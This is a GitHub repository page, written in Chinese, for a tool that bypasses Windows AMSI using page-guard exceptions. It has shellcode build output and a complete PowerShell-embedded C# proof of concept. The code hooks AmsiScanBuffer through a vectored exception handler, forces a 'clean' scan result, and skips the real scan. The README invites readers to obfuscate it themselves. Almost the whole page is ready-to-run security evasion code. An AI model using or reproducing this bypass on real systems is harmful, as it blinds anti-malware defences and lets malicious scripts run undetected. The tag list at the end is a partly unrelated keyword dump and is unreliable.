ShigShag/AMSI-Bypass-via-Page-Guard-Exceptions
GitHub: ShigShag/AMSI-Bypass-via-Page-Guard-Exceptions
利用页面保护异常机制绕过 Windows AMSI 检测的 Shellcode 和 PowerShell 实现方案
Stars: 63 | Forks: 6
# 通过页面保护异常绕过 AMSI
本仓库包含用于修补 **AMSI** 的 **shellcode** 和 **PowerShell** 解决方案。更多细节请查看 [博客](https://shigshag.com/blog/amsi_page_guard)。
## 编译 shellcode
```
$ make
[+] Compiling C++ -> obj/shellcode.o
[+] Assembling ASM -> obj/entry_point.o
[+] Linking object files -> bin/shellcode.exe
x86_64-w64-mingw32-ld: bin/shellcode.exe:.text: section below image base
[+] Extracting raw shellcode -> bin/shellcode.bin
[*] Success! Final shellcode is in bin/shellcode.bin
$ ll bin/shellcode.bin
.rw-r--r-- 944 bin/shellcode.bin
```
## 在 Powershell 中
这是一个 POC,可自行混淆
```
$Guard = @"
using System;
using System.Runtime.InteropServices;
namespace Test
{
public static class AmsiGuard
{
// ----------------------------
// P/Invoke & constants
// ----------------------------
private const uint PAGE_EXECUTE = 0x10;
private const uint PAGE_EXECUTE_READ = 0x20;
private const uint PAGE_GUARD = 0x100;
private const int EXCEPTION_CONTINUE_EXECUTION = -1;
private const int EXCEPTION_CONTINUE_SEARCH = 0;
// exception codes (use your WinAPI definitions if you have them)
private const uint STATUS_GUARD_PAGE_VIOLATION = 0x80000001;
private const uint STATUS_SINGLE_STEP = 0x80000004;
// AMSI result clean value (as in your example)
private const int AMSI_RESULT_CLEAN = 0; // adjust if you have different constant
[DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32", ExactSpelling = true, CharSet = CharSet.Ansi, SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32", ExactSpelling = true)]
private static extern IntPtr AddVectoredExceptionHandler(uint first, VectoredHandler handler);
[DllImport("kernel32", ExactSpelling = true)]
private static extern uint RemoveVectoredExceptionHandler(IntPtr handle);
[DllImport("kernel32", ExactSpelling = true)]
private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32", ExactSpelling = true)]
private static extern void GetSystemInfo(out SYSTEM_INFO lpSystemInfo);
private delegate int VectoredHandler(IntPtr exceptionPointers);
// ----------------------------
// Native structures (x64)
// ----------------------------
[StructLayout(LayoutKind.Sequential)]
private struct SYSTEM_INFO
{
public ushort wProcessorArchitecture;
public ushort wReserved;
public uint dwPageSize;
public IntPtr lpMinimumApplicationAddress;
public IntPtr lpMaximumApplicationAddress;
public IntPtr dwActiveProcessorMask;
public uint dwNumberOfProcessors;
public uint dwProcessorType;
public uint dwAllocationGranularity;
public ushort wProcessorLevel;
public ushort wProcessorRevision;
}
[StructLayout(LayoutKind.Sequential)]
private struct EXCEPTION_POINTERS
{
public IntPtr ExceptionRecord;
public IntPtr ContextRecord;
}
// minimal EXCEPTION_RECORD fields we use
[StructLayout(LayoutKind.Sequential)]
private struct EXCEPTION_RECORD
{
public uint ExceptionCode;
public uint ExceptionFlags;
public IntPtr ExceptionRecord;
public IntPtr ExceptionAddress;
public uint NumberParameters;
// we do not need the ExceptionInformation array here
}
// minimal CONTEXT64 - only the fields we touch
[StructLayout(LayoutKind.Sequential)]
private struct CONTEXT64
{
public ulong P1Home;
public ulong P2Home;
public ulong P3Home;
public ulong P4Home;
public ulong P5Home;
public ulong P6Home;
public uint ContextFlags;
public uint MxCsr;
public ushort SegCs;
public ushort SegDs;
public ushort SegEs;
public ushort SegFs;
public ushort SegGs;
public ushort SegSs;
public uint EFlags;
public ulong Dr0;
public ulong Dr1;
public ulong Dr2;
public ulong Dr3;
public ulong Dr6;
public ulong Dr7;
public ulong Rax;
public ulong Rcx;
public ulong Rdx;
public ulong Rbx;
public ulong Rsp;
public ulong Rbp;
public ulong Rsi;
public ulong Rdi;
public ulong R8;
public ulong R9;
public ulong R10;
public ulong R11;
public ulong R12;
public ulong R13;
public ulong R14;
public ulong R15;
public ulong Rip;
// remaining fields omitted — not needed for this handler
}
// ----------------------------
// State
// ----------------------------
private static IntPtr pAmsiScanBuffer = IntPtr.Zero;
private static IntPtr vectoredHandle = IntPtr.Zero;
private static VectoredHandler handlerDelegate = null;
// ----------------------------
// Public API
// ----------------------------
public static void Install()
{
ResolveAmsi();
// create & store the delegate instance so GC won't collect it
handlerDelegate = new VectoredHandler(Handler);
// pass the delegate instance (not the method group)
vectoredHandle = AddVectoredExceptionHandler(1, handlerDelegate);
if (vectoredHandle == IntPtr.Zero)
{
// failed to register — handle error if needed
}
// Determine page base
SYSTEM_INFO sys;
GetSystemInfo(out sys);
ulong pageSize = sys.dwPageSize; // Use actual page size!
ulong addr = (ulong)pAmsiScanBuffer.ToInt64();
ulong pageBase = addr & ~((ulong)pageSize - 1);
uint old;
// Re-protect page with guard
IntPtr basePtr = new IntPtr((long)pageBase);
bool ok = VirtualProtect(basePtr, (UIntPtr)pageSize, PAGE_EXECUTE_READ | PAGE_GUARD, out old);
if (!ok)
{
}
}
// ----------------------------
// Resolver (simple)
// ----------------------------
private static void ResolveAmsi()
{
IntPtr h = IntPtr.Zero;
h = GetModuleHandle("amsi.dll");
// Wait for amsi.dll to be loaded
while (h == IntPtr.Zero)
{
h = GetModuleHandle("amsi.dll");
if (h != IntPtr.Zero) break;
System.Threading.Thread.Sleep(100);
}
IntPtr p = GetProcAddress(h, "AmsiScanBuffer");
pAmsiScanBuffer = p;
}
// ----------------------------
// Exception handler
// ----------------------------
private static int Handler(IntPtr exceptionPointers)
{
// Marshal pointers
var ep = Marshal.PtrToStructure(exceptionPointers);
var exRec = Marshal.PtrToStructure(ep.ExceptionRecord);
var ctx = Marshal.PtrToStructure(ep.ContextRecord);
// PAGE_GUARD hit
if (exRec.ExceptionCode == STATUS_GUARD_PAGE_VIOLATION)
{
// ensure we have AmsiScanBuffer resolved
if (pAmsiScanBuffer == IntPtr.Zero)
{
ResolveAmsi(); // try to resolve now
if (pAmsiScanBuffer == IntPtr.Zero)
{
return EXCEPTION_CONTINUE_SEARCH;
}
}
// check exception address equals AmsiScanBuffer
if (exRec.ExceptionAddress == pAmsiScanBuffer)
{
ulong ReturnAddress = (ulong)Marshal.ReadInt64((IntPtr)ctx.Rsp);
IntPtr ScanResult = Marshal.ReadIntPtr((IntPtr)(ctx.Rsp + (6 * 8)));
Marshal.WriteInt32(ScanResult, 0, AMSI_RESULT_CLEAN);
ctx.Rip = ReturnAddress;
ctx.Rsp += 8;
ctx.Rax = 0;
}
// Set trap flag so we get single-step once and can reapply guard
ctx.EFlags |= 0x100u;
// write context back
Marshal.StructureToPtr(ctx, ep.ContextRecord, true);
return EXCEPTION_CONTINUE_EXECUTION;
}
// Single-step: reapply PAGE_GUARD to AmsiScanBuffer's page
if (exRec.ExceptionCode == STATUS_SINGLE_STEP)
{
// Determine page base
SYSTEM_INFO sys;
GetSystemInfo(out sys);
ulong pageSize = sys.dwPageSize; // Use actual page size!
ulong addr = (ulong)pAmsiScanBuffer.ToInt64();
ulong pageBase = addr & ~((ulong)pageSize - 1);
// Re-protect page with guard
IntPtr basePtr = new IntPtr((long)pageBase);
uint old;
bool ok = VirtualProtect(basePtr, (UIntPtr)pageSize, PAGE_EXECUTE_READ | PAGE_GUARD, out old);
if (!ok)
{
}
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
}
}
"@
Add-Type -TypeDefinition $Guard
[Test.AmsiGuard]::Install()
```
标签:AI合规, AMSI Bypass, AmsiScanBuffer, C++, DNS 反向解析, Evasion, IPv6, OpenCanary, Page Guard Exception, P/Invoke, PowerShell, RFI远程文件包含, Shellcode, Windows 安全, 云资产清单, 免杀技术, 内存修补, 反恶意软件扫描接口绕过, 安全机制绕过, 安全测试, 技术调研, 攻击性安全, 数据擦除, 暴力破解检测, 端点可见性, 自动回退, 逆向工程, 页面保护异常